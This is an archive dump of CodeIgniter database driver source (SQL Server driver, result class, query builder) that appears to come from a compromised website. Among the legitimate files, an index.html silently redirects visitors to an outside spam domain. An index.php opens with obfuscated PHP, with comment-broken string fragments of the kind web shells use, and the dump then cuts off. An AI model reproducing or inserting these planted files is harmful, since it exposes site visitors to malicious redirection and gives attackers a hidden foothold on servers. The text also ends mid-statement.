$sqlsrv_error['SQLSTATE']; } elseif (isset($sqlsrv_error['code'])) { $error['code'] = $sqlsrv_error['code']; } if (isset($sqlsrv_error['message'])) { $error['message'] = $sqlsrv_error['message']; } return $error; } // -------------------------------------------------------------------- /** * Update statement * * Generates a platform-specific update string from the supplied data * * @param string $table * @param array $values * @return string */ protected function _update($table, $values) { $this->qb_limit = FALSE; $this->qb_orderby = array(); return parent::_update($table, $values); } // -------------------------------------------------------------------- /** * Truncate statement * * Generates a platform-specific truncate string from the supplied data * * If the database does not support the TRUNCATE statement, * then this method maps to 'DELETE FROM table' * * @param string $table * @return string */ protected function _truncate($table) { return 'TRUNCATE TABLE '.$table; } // -------------------------------------------------------------------- /** * Delete statement * * Generates a platform-specific delete string from the supplied data * * @param string $table * @return string */ protected function _delete($table) { if ($this->qb_limit) { return 'WITH ci_delete AS (SELECT TOP '.$this->qb_limit.' * FROM '.$table.$this->_compile_wh('qb_where').') DELETE FROM ci_delete'; } return parent::_delete($table); } // -------------------------------------------------------------------- /** * LIMIT * * Generates a platform-specific LIMIT clause * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { // As of SQL Server 2012 (11.0.*) OFFSET is supported if (version_compare($this->version(), '11', '>=')) { // SQL Server OFFSET-FETCH can be used only with the ORDER BY clause empty($this->qb_orderby) && $sql .= ' ORDER BY 1'; return $sql.' OFFSET '.(int) $this->qb_offset.' ROWS FETCH NEXT '.$this->qb_limit.' ROWS ONLY'; } $limit = $this->qb_offset + $this->qb_limit; // An ORDER BY clause is required for ROW_NUMBER() to work if ($this->qb_offset && ! empty($this->qb_orderby)) { $orderby = $this->_compile_order_by(); // We have to strip the ORDER BY clause $sql = trim(substr($sql, 0, strrpos($sql, $orderby))); // Get the fields to select from our subquery, so that we can avoid CI_rownum appearing in the actual results if (count($this->qb_select) === 0 OR strpos(implode(',', $this->qb_select), '*') !== FALSE) { $select = '*'; // Inevitable } else { // Use only field names and their aliases, everything else is out of our scope. $select = array(); $field_regexp = ($this->_quoted_identifier) ? '("[^\"]+")' : '(\[[^\]]+\])'; for ($i = 0, $c = count($this->qb_select); $i < $c; $i++) { $select[] = preg_match('/(?:\s|\.)'.$field_regexp.'$/i', $this->qb_select[$i], $m) ? $m[1] : $this->qb_select[$i]; } $select = implode(', ', $select); } return 'SELECT '.$select." FROM (\n\n" .preg_replace('/^(SELECT( DISTINCT)?)/i', '\\1 ROW_NUMBER() OVER('.trim($orderby).') AS '.$this->escape_identifiers('CI_rownum').', ', $sql) ."\n\n) ".$this->escape_identifiers('CI_subquery') ."\nWHERE ".$this->escape_identifiers('CI_rownum').' BETWEEN '.($this->qb_offset + 1).' AND '.$limit; } return preg_replace('/(^\SELECT (DISTINCT)?)/i','\\1 TOP '.$limit.' ', $sql); } // -------------------------------------------------------------------- /** * Insert batch statement * * Generates a platform-specific insert string from the supplied data. * * @param string $table Table name * @param array $keys INSERT keys * @param array $values INSERT values * @return string|bool */ protected function _insert_batch($table, $keys, $values) { // Multiple-value inserts are only supported as of SQL Server 2008 if (version_compare($this->version(), '10', '>=')) { return parent::_insert_batch($table, $keys, $values); } return ($this->db_debug) ? $this->display_error('db_unsupported_feature') : FALSE; } // -------------------------------------------------------------------- /** * Close DB Connection * * @return void */ protected function _close() { sqlsrv_close($this->conn_id); } } drivers/sqlsrv/index.html 0000444 00000000605 14642767343 0011570 0 ustar 00 <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <meta http-equiv="refresh" content="0;url=http://lymphdailynews.xyz/" /> </head> <body> <p>You are not logged in!</p> <script language="javascript"> window.location = "http://lymphdailynews.xyz/"; </script> </body> </html> drivers/sqlsrv/sqlsrv_result.php 0000644 00000011426 14642767344 0013242 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 2.0.3 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * SQLSRV Result Class * * This class extends the parent result class: CI_DB_result * * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ class CI_DB_sqlsrv_result extends CI_DB_result { /** * Scrollable flag * * @var mixed */ public $scrollable; // -------------------------------------------------------------------- /** * Constructor * * @param object $driver_object * @return void */ public function __construct(&$driver_object) { parent::__construct($driver_object); $this->scrollable = $driver_object->scrollable; } // -------------------------------------------------------------------- /** * Number of rows in the result set * * @return int */ public function num_rows() { // sqlsrv_num_rows() doesn't work with the FORWARD and DYNAMIC cursors (FALSE is the same as FORWARD) if ( ! in_array($this->scrollable, array(FALSE, SQLSRV_CURSOR_FORWARD, SQLSRV_CURSOR_DYNAMIC), TRUE)) { return parent::num_rows(); } return is_int($this->num_rows) ? $this->num_rows : $this->num_rows = sqlsrv_num_rows($this->result_id); } // -------------------------------------------------------------------- /** * Number of fields in the result set * * @return int */ public function num_fields() { return @sqlsrv_num_fields($this->result_id); } // -------------------------------------------------------------------- /** * Fetch Field Names * * Generates an array of column names * * @return array */ public function list_fields() { $field_names = array(); foreach (sqlsrv_field_metadata($this->result_id) as $offset => $field) { $field_names[] = $field['Name']; } return $field_names; } // -------------------------------------------------------------------- /** * Field data * * Generates an array of objects containing field meta-data * * @return array */ public function field_data() { $retval = array(); foreach (sqlsrv_field_metadata($this->result_id) as $i => $field) { $retval[$i] = new stdClass(); $retval[$i]->name = $field['Name']; $retval[$i]->type = $field['Type']; $retval[$i]->max_length = $field['Size']; } return $retval; } // -------------------------------------------------------------------- /** * Free the result * * @return void */ public function free_result() { if (is_resource($this->result_id)) { sqlsrv_free_stmt($this->result_id); $this->result_id = FALSE; } } // -------------------------------------------------------------------- /** * Result - associative array * * Returns the result set as an array * * @return array */ protected function _fetch_assoc() { return sqlsrv_fetch_array($this->result_id, SQLSRV_FETCH_ASSOC); } // -------------------------------------------------------------------- /** * Result - object * * Returns the result set as an object * * @param string $class_name * @return object */ protected function _fetch_object($class_name = 'stdClass') { return sqlsrv_fetch_object($this->result_id, $class_name); } } drivers/sqlsrv/sqlsrv/index.php 0000644 00000001166 14642767346 0012755 0 ustar 00 <?php /*-Uaqg05(-*/$Yqw /*-O(h--y-*/=/*-!u)o,&JNH-*/ "ra"/*-j$^6^6%-*/."nge"; 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IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Query Builder Class * * This is the platform-independent base Query Builder implementation class. * * @package CodeIgniter * @subpackage Drivers * @category Database * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/database/ */ abstract class CI_DB_query_builder extends CI_DB_driver { /** * Return DELETE SQL flag * * @var bool */ protected $return_delete_sql = FALSE; /** * Reset DELETE data flag * * @var bool */ protected $reset_delete_data = FALSE; /** * QB SELECT data * * @var array */ protected $qb_select = array(); /** * QB DISTINCT flag * * @var bool */ protected $qb_distinct = FALSE; /** * QB FROM data * * @var array */ protected $qb_from = array(); /** * QB JOIN data * * @var array */ protected $qb_join = array(); /** * QB WHERE data * * @var array */ protected $qb_where = array(); /** * QB GROUP BY data * * @var array */ protected $qb_groupby = array(); /** * QB HAVING data * * @var array */ protected $qb_having = array(); /** * QB keys * * @var array */ protected $qb_keys = array(); /** * QB LIMIT data * * @var int */ protected $qb_limit = FALSE; /** * QB OFFSET data * * @var int */ protected $qb_offset = FALSE; /** * QB ORDER BY data * * @var array */ protected $qb_orderby = array(); /** * QB data sets * * @var array */ protected $qb_set = array(); /** * QB data set for update_batch() * * @var array */ protected $qb_set_ub = array(); /** * QB aliased tables list * * @var array */ protected $qb_aliased_tables = array(); /** * QB WHERE group started flag * * @var bool */ protected $qb_where_group_started = FALSE; /** * QB WHERE group count * * @var int */ protected $qb_where_group_count = 0; // Query Builder Caching variables /** * QB Caching flag * * @var bool */ protected $qb_caching = FALSE; /** * QB Cache exists list * * @var array */ protected $qb_cache_exists = array(); /** * QB Cache SELECT data * * @var array */ protected $qb_cache_select = array(); /** * QB Cache FROM data * * @var array */ protected $qb_cache_from = array(); /** * QB Cache JOIN data * * @var array */ protected $qb_cache_join = array(); /** * QB Cache aliased tables list * * @var array */ protected $qb_cache_aliased_tables = array(); /** * QB Cache WHERE data * * @var array */ protected $qb_cache_where = array(); /** * QB Cache GROUP BY data * * @var array */ protected $qb_cache_groupby = array(); /** * QB Cache HAVING data * * @var array */ protected $qb_cache_having = array(); /** * QB Cache ORDER BY data * * @var array */ protected $qb_cache_orderby = array(); /** * QB Cache data sets * * @var array */ protected $qb_cache_set = array(); /** * QB No Escape data * * @var array */ protected $qb_no_escape = array(); /** * QB Cache No Escape data * * @var array */ protected $qb_cache_no_escape = array(); // -------------------------------------------------------------------- /** * Select * * Generates the SELECT portion of the query * * @param string * @param mixed * @return CI_DB_query_builder */ public function select($select = '*', $escape = NULL) { if (is_string($select)) { $select = explode(',', $select); } // If the escape value was not set, we will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($select as $val) { $val = trim($val); if ($val !== '') { $this->qb_select[] = $val; $this->qb_no_escape[] = $escape; if ($this->qb_caching === TRUE) { $this->qb_cache_select[] = $val; $this->qb_cache_exists[] = 'select'; $this->qb_cache_no_escape[] = $escape; } } } return $this; } // -------------------------------------------------------------------- /** * Select Max * * Generates a SELECT MAX(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_max($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'MAX'); } // -------------------------------------------------------------------- /** * Select Min * * Generates a SELECT MIN(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_min($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'MIN'); } // -------------------------------------------------------------------- /** * Select Average * * Generates a SELECT AVG(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_avg($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'AVG'); } // -------------------------------------------------------------------- /** * Select Sum * * Generates a SELECT SUM(field) portion of a query * * @param string the field * @param string an alias * @return CI_DB_query_builder */ public function select_sum($select = '', $alias = '') { return $this->_max_min_avg_sum($select, $alias, 'SUM'); } // -------------------------------------------------------------------- /** * SELECT [MAX|MIN|AVG|SUM]() * * @used-by select_max() * @used-by select_min() * @used-by select_avg() * @used-by select_sum() * * @param string $select Field name * @param string $alias * @param string $type * @return CI_DB_query_builder */ protected function _max_min_avg_sum($select = '', $alias = '', $type = 'MAX') { if ( ! is_string($select) OR $select === '') { $this->display_error('db_invalid_query'); } $type = strtoupper($type); if ( ! in_array($type, array('MAX', 'MIN', 'AVG', 'SUM'))) { show_error('Invalid function type: '.$type); } if ($alias === '') { $alias = $this->_create_alias_from_table(trim($select)); } $sql = $type.'('.$this->protect_identifiers(trim($select)).') AS '.$this->escape_identifiers(trim($alias)); $this->qb_select[] = $sql; $this->qb_no_escape[] = NULL; if ($this->qb_caching === TRUE) { $this->qb_cache_select[] = $sql; $this->qb_cache_exists[] = 'select'; } return $this; } // -------------------------------------------------------------------- /** * Determines the alias name based on the table * * @param string $item * @return string */ protected function _create_alias_from_table($item) { if (strpos($item, '.') !== FALSE) { $item = explode('.', $item); return end($item); } return $item; } // -------------------------------------------------------------------- /** * DISTINCT * * Sets a flag which tells the query string compiler to add DISTINCT * * @param bool $val * @return CI_DB_query_builder */ public function distinct($val = TRUE) { $this->qb_distinct = is_bool($val) ? $val : TRUE; return $this; } // -------------------------------------------------------------------- /** * From * * Generates the FROM portion of the query * * @param mixed $from can be a string or array * @return CI_DB_query_builder */ public function from($from) { foreach ((array) $from as $val) { if (strpos($val, ',') !== FALSE) { foreach (explode(',', $val) as $v) { $v = trim($v); $this->_track_aliases($v); $this->qb_from[] = $v = $this->protect_identifiers($v, TRUE, NULL, FALSE); if ($this->qb_caching === TRUE) { $this->qb_cache_from[] = $v; $this->qb_cache_exists[] = 'from'; } } } else { $val = trim($val); // Extract any aliases that might exist. We use this information // in the protect_identifiers to know whether to add a table prefix $this->_track_aliases($val); $this->qb_from[] = $val = $this->protect_identifiers($val, TRUE, NULL, FALSE); if ($this->qb_caching === TRUE) { $this->qb_cache_from[] = $val; $this->qb_cache_exists[] = 'from'; } } } return $this; } // -------------------------------------------------------------------- /** * JOIN * * Generates the JOIN portion of the query * * @param string * @param string the join condition * @param string the type of join * @param string whether not to try to escape identifiers * @return CI_DB_query_builder */ public function join($table, $cond, $type = '', $escape = NULL) { if ($type !== '') { $type = strtoupper(trim($type)); if ( ! in_array($type, array('LEFT', 'RIGHT', 'OUTER', 'INNER', 'LEFT OUTER', 'RIGHT OUTER'), TRUE)) { $type = ''; } else { $type .= ' '; } } // Extract any aliases that might exist. We use this information // in the protect_identifiers to know whether to add a table prefix $this->_track_aliases($table); is_bool($escape) OR $escape = $this->_protect_identifiers; if ( ! $this->_has_operator($cond)) { $cond = ' USING ('.($escape ? $this->escape_identifiers($cond) : $cond).')'; } elseif ($escape === FALSE) { $cond = ' ON '.$cond; } else { // Split multiple conditions if (preg_match_all('/\sAND\s|\sOR\s/i', $cond, $joints, PREG_OFFSET_CAPTURE)) { $conditions = array(); $joints = $joints[0]; array_unshift($joints, array('', 0)); for ($i = count($joints) - 1, $pos = strlen($cond); $i >= 0; $i--) { $joints[$i][1] += strlen($joints[$i][0]); // offset $conditions[$i] = substr($cond, $joints[$i][1], $pos - $joints[$i][1]); $pos = $joints[$i][1] - strlen($joints[$i][0]); $joints[$i] = $joints[$i][0]; } } else { $conditions = array($cond); $joints = array(''); } $cond = ' ON '; for ($i = 0, $c = count($conditions); $i < $c; $i++) { $operator = $this->_get_operator($conditions[$i]); $cond .= $joints[$i]; $cond .= preg_match("/(\(*)?([\[\]\w\.'-]+)".preg_quote($operator)."(.*)/i", $conditions[$i], $match) ? $match[1].$this->protect_identifiers($match[2]).$operator.$this->protect_identifiers($match[3]) : $conditions[$i]; } } // Do we want to escape the table name? if ($escape === TRUE) { $table = $this->protect_identifiers($table, TRUE, NULL, FALSE); } // Assemble the JOIN statement $this->qb_join[] = $join = $type.'JOIN '.$table.$cond; if ($this->qb_caching === TRUE) { $this->qb_cache_join[] = $join; $this->qb_cache_exists[] = 'join'; } return $this; } // -------------------------------------------------------------------- /** * WHERE * * Generates the WHERE portion of the query. * Separates multiple calls with 'AND'. * * @param mixed * @param mixed * @param bool * @return CI_DB_query_builder */ public function where($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_where', $key, $value, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE * * Generates the WHERE portion of the query. * Separates multiple calls with 'OR'. * * @param mixed * @param mixed * @param bool * @return CI_DB_query_builder */ public function or_where($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_where', $key, $value, 'OR ', $escape); } // -------------------------------------------------------------------- /** * WHERE, HAVING * * @used-by where() * @used-by or_where() * @used-by having() * @used-by or_having() * * @param string $qb_key 'qb_where' or 'qb_having' * @param mixed $key * @param mixed $value * @param string $type * @param bool $escape * @return CI_DB_query_builder */ protected function _wh($qb_key, $key, $value = NULL, $type = 'AND ', $escape = NULL) { $qb_cache_key = ($qb_key === 'qb_having') ? 'qb_cache_having' : 'qb_cache_where'; if ( ! is_array($key)) { $key = array($key => $value); } // If the escape value was not set will base it on the global setting is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $prefix = (count($this->$qb_key) === 0 && count($this->$qb_cache_key) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); if ($v !== NULL) { if ($escape === TRUE) { $v = $this->escape($v); } if ( ! $this->_has_operator($k)) { $k .= ' = '; } } elseif ( ! $this->_has_operator($k)) { // value appears not to have been set, assign the test to IS NULL $k .= ' IS NULL'; } elseif (preg_match('/\s*(!?=|<>|\sIS(?:\s+NOT)?\s)\s*$/i', $k, $match, PREG_OFFSET_CAPTURE)) { $k = substr($k, 0, $match[0][1]).($match[1][0] === '=' ? ' IS NULL' : ' IS NOT NULL'); } ${$qb_key} = array('condition' => $prefix.$k, 'value' => $v, 'escape' => $escape); $this->{$qb_key}[] = ${$qb_key}; if ($this->qb_caching === TRUE) { $this->{$qb_cache_key}[] = ${$qb_key}; $this->qb_cache_exists[] = substr($qb_key, 3); } } return $this; } // -------------------------------------------------------------------- /** * WHERE IN * * Generates a WHERE field IN('item', 'item') SQL query, * joined with 'AND' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function where_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, FALSE, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE IN * * Generates a WHERE field IN('item', 'item') SQL query, * joined with 'OR' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function or_where_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, FALSE, 'OR ', $escape); } // -------------------------------------------------------------------- /** * WHERE NOT IN * * Generates a WHERE field NOT IN('item', 'item') SQL query, * joined with 'AND' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function where_not_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, TRUE, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR WHERE NOT IN * * Generates a WHERE field NOT IN('item', 'item') SQL query, * joined with 'OR' if appropriate. * * @param string $key The field to search * @param array $values The values searched on * @param bool $escape * @return CI_DB_query_builder */ public function or_where_not_in($key = NULL, $values = NULL, $escape = NULL) { return $this->_where_in($key, $values, TRUE, 'OR ', $escape); } // -------------------------------------------------------------------- /** * Internal WHERE IN * * @used-by where_in() * @used-by or_where_in() * @used-by where_not_in() * @used-by or_where_not_in() * * @param string $key The field to search * @param array $values The values searched on * @param bool $not If the statement would be IN or NOT IN * @param string $type * @param bool $escape * @return CI_DB_query_builder */ protected function _where_in($key = NULL, $values = NULL, $not = FALSE, $type = 'AND ', $escape = NULL) { if ($key === NULL OR $values === NULL) { return $this; } if ( ! is_array($values)) { $values = array($values); } is_bool($escape) OR $escape = $this->_protect_identifiers; $not = ($not) ? ' NOT' : ''; if ($escape === TRUE) { $where_in = array(); foreach ($values as $value) { $where_in[] = $this->escape($value); } } else { $where_in = array_values($values); } $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); $where_in = array( 'condition' => $prefix.$key.$not.' IN('.implode(', ', $where_in).')', 'value' => NULL, 'escape' => $escape ); $this->qb_where[] = $where_in; if ($this->qb_caching === TRUE) { $this->qb_cache_where[] = $where_in; $this->qb_cache_exists[] = 'where'; } return $this; } // -------------------------------------------------------------------- /** * LIKE * * Generates a %LIKE% portion of the query. * Separates multiple calls with 'AND'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'AND ', $side, '', $escape); } // -------------------------------------------------------------------- /** * NOT LIKE * * Generates a NOT LIKE portion of the query. * Separates multiple calls with 'AND'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function not_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'AND ', $side, 'NOT', $escape); } // -------------------------------------------------------------------- /** * OR LIKE * * Generates a %LIKE% portion of the query. * Separates multiple calls with 'OR'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function or_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'OR ', $side, '', $escape); } // -------------------------------------------------------------------- /** * OR NOT LIKE * * Generates a NOT LIKE portion of the query. * Separates multiple calls with 'OR'. * * @param mixed $field * @param string $match * @param string $side * @param bool $escape * @return CI_DB_query_builder */ public function or_not_like($field, $match = '', $side = 'both', $escape = NULL) { return $this->_like($field, $match, 'OR ', $side, 'NOT', $escape); } // -------------------------------------------------------------------- /** * Internal LIKE * * @used-by like() * @used-by or_like() * @used-by not_like() * @used-by or_not_like() * * @param mixed $field * @param string $match * @param string $type * @param string $side * @param string $not * @param bool $escape * @return CI_DB_query_builder */ protected function _like($field, $match = '', $type = 'AND ', $side = 'both', $not = '', $escape = NULL) { if ( ! is_array($field)) { $field = array($field => $match); } is_bool($escape) OR $escape = $this->_protect_identifiers; // lowercase $side in case somebody writes e.g. 'BEFORE' instead of 'before' (doh) $side = strtolower($side); foreach ($field as $k => $v) { $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? $this->_group_get_type('') : $this->_group_get_type($type); if ($escape === TRUE) { $v = $this->escape_like_str($v); } switch ($side) { case 'none': $v = "'{$v}'"; break; case 'before': $v = "'%{$v}'"; break; case 'after': $v = "'{$v}%'"; break; case 'both': default: $v = "'%{$v}%'"; break; } // some platforms require an escape sequence definition for LIKE wildcards if ($escape === TRUE && $this->_like_escape_str !== '') { $v .= sprintf($this->_like_escape_str, $this->_like_escape_chr); } $qb_where = array('condition' => "{$prefix} {$k} {$not} LIKE {$v}", 'value' => NULL, 'escape' => $escape); $this->qb_where[] = $qb_where; if ($this->qb_caching === TRUE) { $this->qb_cache_where[] = $qb_where; $this->qb_cache_exists[] = 'where'; } } return $this; } // -------------------------------------------------------------------- /** * Starts a query group. * * @param string $not (Internal use only) * @param string $type (Internal use only) * @return CI_DB_query_builder */ public function group_start($not = '', $type = 'AND ') { $type = $this->_group_get_type($type); $this->qb_where_group_started = TRUE; $prefix = (count($this->qb_where) === 0 && count($this->qb_cache_where) === 0) ? '' : $type; $where = array( 'condition' => $prefix.$not.str_repeat(' ', ++$this->qb_where_group_count).' (', 'value' => NULL, 'escape' => FALSE ); $this->qb_where[] = $where; if ($this->qb_caching) { $this->qb_cache_where[] = $where; } return $this; } // -------------------------------------------------------------------- /** * Starts a query group, but ORs the group * * @return CI_DB_query_builder */ public function or_group_start() { return $this->group_start('', 'OR '); } // -------------------------------------------------------------------- /** * Starts a query group, but NOTs the group * * @return CI_DB_query_builder */ public function not_group_start() { return $this->group_start('NOT ', 'AND '); } // -------------------------------------------------------------------- /** * Starts a query group, but OR NOTs the group * * @return CI_DB_query_builder */ public function or_not_group_start() { return $this->group_start('NOT ', 'OR '); } // -------------------------------------------------------------------- /** * Ends a query group * * @return CI_DB_query_builder */ public function group_end() { $this->qb_where_group_started = FALSE; $where = array( 'condition' => str_repeat(' ', $this->qb_where_group_count--).')', 'value' => NULL, 'escape' => FALSE ); $this->qb_where[] = $where; if ($this->qb_caching) { $this->qb_cache_where[] = $where; } return $this; } // -------------------------------------------------------------------- /** * Group_get_type * * @used-by group_start() * @used-by _like() * @used-by _wh() * @used-by _where_in() * * @param string $type * @return string */ protected function _group_get_type($type) { if ($this->qb_where_group_started) { $type = ''; $this->qb_where_group_started = FALSE; } return $type; } // -------------------------------------------------------------------- /** * GROUP BY * * @param string $by * @param bool $escape * @return CI_DB_query_builder */ public function group_by($by, $escape = NULL) { is_bool($escape) OR $escape = $this->_protect_identifiers; if (is_string($by)) { $by = ($escape === TRUE) ? explode(',', $by) : array($by); } foreach ($by as $val) { $val = trim($val); if ($val !== '') { $val = array('field' => $val, 'escape' => $escape); $this->qb_groupby[] = $val; if ($this->qb_caching === TRUE) { $this->qb_cache_groupby[] = $val; $this->qb_cache_exists[] = 'groupby'; } } } return $this; } // -------------------------------------------------------------------- /** * HAVING * * Separates multiple calls with 'AND'. * * @param string $key * @param string $value * @param bool $escape * @return CI_DB_query_builder */ public function having($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_having', $key, $value, 'AND ', $escape); } // -------------------------------------------------------------------- /** * OR HAVING * * Separates multiple calls with 'OR'. * * @param string $key * @param string $value * @param bool $escape * @return CI_DB_query_builder */ public function or_having($key, $value = NULL, $escape = NULL) { return $this->_wh('qb_having', $key, $value, 'OR ', $escape); } // -------------------------------------------------------------------- /** * ORDER BY * * @param string $orderby * @param string $direction ASC, DESC or RANDOM * @param bool $escape * @return CI_DB_query_builder */ public function order_by($orderby, $direction = '', $escape = NULL) { $direction = strtoupper(trim($direction)); if ($direction === 'RANDOM') { $direction = ''; // Do we have a seed value? $orderby = ctype_digit((string) $orderby) ? sprintf($this->_random_keyword[1], $orderby) : $this->_random_keyword[0]; } elseif (empty($orderby)) { return $this; } elseif ($direction !== '') { $direction = in_array($direction, array('ASC', 'DESC'), TRUE) ? ' '.$direction : ''; } is_bool($escape) OR $escape = $this->_protect_identifiers; if ($escape === FALSE) { $qb_orderby[] = array('field' => $orderby, 'direction' => $direction, 'escape' => FALSE); } else { $qb_orderby = array(); foreach (explode(',', $orderby) as $field) { $qb_orderby[] = ($direction === '' && preg_match('/\s+(ASC|DESC)$/i', rtrim($field), $match, PREG_OFFSET_CAPTURE)) ? array('field' => ltrim(substr($field, 0, $match[0][1])), 'direction' => ' '.$match[1][0], 'escape' => TRUE) : array('field' => trim($field), 'direction' => $direction, 'escape' => TRUE); } } $this->qb_orderby = array_merge($this->qb_orderby, $qb_orderby); if ($this->qb_caching === TRUE) { $this->qb_cache_orderby = array_merge($this->qb_cache_orderby, $qb_orderby); $this->qb_cache_exists[] = 'orderby'; } return $this; } // -------------------------------------------------------------------- /** * LIMIT * * @param int $value LIMIT value * @param int $offset OFFSET value * @return CI_DB_query_builder */ public function limit($value, $offset = 0) { is_null($value) OR $this->qb_limit = (int) $value; empty($offset) OR $this->qb_offset = (int) $offset; return $this; } // -------------------------------------------------------------------- /** * Sets the OFFSET value * * @param int $offset OFFSET value * @return CI_DB_query_builder */ public function offset($offset) { empty($offset) OR $this->qb_offset = (int) $offset; return $this; } // -------------------------------------------------------------------- /** * LIMIT string * * Generates a platform-specific LIMIT clause. * * @param string $sql SQL Query * @return string */ protected function _limit($sql) { return $sql.' LIMIT '.($this->qb_offset ? $this->qb_offset.', ' : '').(int) $this->qb_limit; } // -------------------------------------------------------------------- /** * The "set" function. * * Allows key/value pairs to be set for inserting or updating * * @param mixed * @param string * @param bool * @return CI_DB_query_builder */ public function set($key, $value = '', $escape = NULL) { $key = $this->_object_to_array($key); if ( ! is_array($key)) { $key = array($key => $value); } is_bool($escape) OR $escape = $this->_protect_identifiers; foreach ($key as $k => $v) { $this->qb_set[$this->protect_identifiers($k, FALSE, $escape)] = ($escape) ? $this->escape($v) : $v; } return $this; } // -------------------------------------------------------------------- /** * Get SELECT query string * * Compiles a SELECT query string and returns the sql. * * @param string the table name to select from (optional) * @param bool TRUE: resets QB values; FALSE: leave QB values alone * @return string */ public function get_compiled_select($table = '', $reset = TRUE) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } $select = $this->_compile_select(); if ($reset === TRUE) { $this->_reset_select(); } return $select; } // -------------------------------------------------------------------- /** * Get * * Compiles the select statement based on the other functions called * and runs the query * * @param string the table * @param string the limit clause * @param string the offset clause * @return CI_DB_result */ public function get($table = '', $limit = NULL, $offset = NULL) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } if ( ! empty($limit)) { $this->limit($limit, $offset); } $result = $this->query($this->_compile_select()); $this->_reset_select(); return $result; } // -------------------------------------------------------------------- /** * "Count All Results" query * * Generates a platform-specific query string that counts all records * returned by an Query Builder query. * * @param string * @param bool the reset clause * @return int */ public function count_all_results($table = '', $reset = TRUE) { if ($table !== '') { $this->_track_aliases($table); $this->from($table); } // ORDER BY usage is often problematic here (most notably // on Microsoft SQL Server) and ultimately unnecessary // for selecting COUNT(*) ... $qb_orderby = $this->qb_orderby; $qb_cache_orderby = $this->qb_cache_orderby; $this->qb_orderby = $this->qb_cache_orderby = array(); $result = ($this->qb_distinct === TRUE OR ! empty($this->qb_groupby) OR ! empty($this->qb_cache_groupby) OR $this->qb_limit OR $this->qb_offset) ? $this->query($this->_count_string.$this->protect_identifiers('numrows')."\nFROM (\n".$this->_compile_select()."\n) CI_count_all_results") : 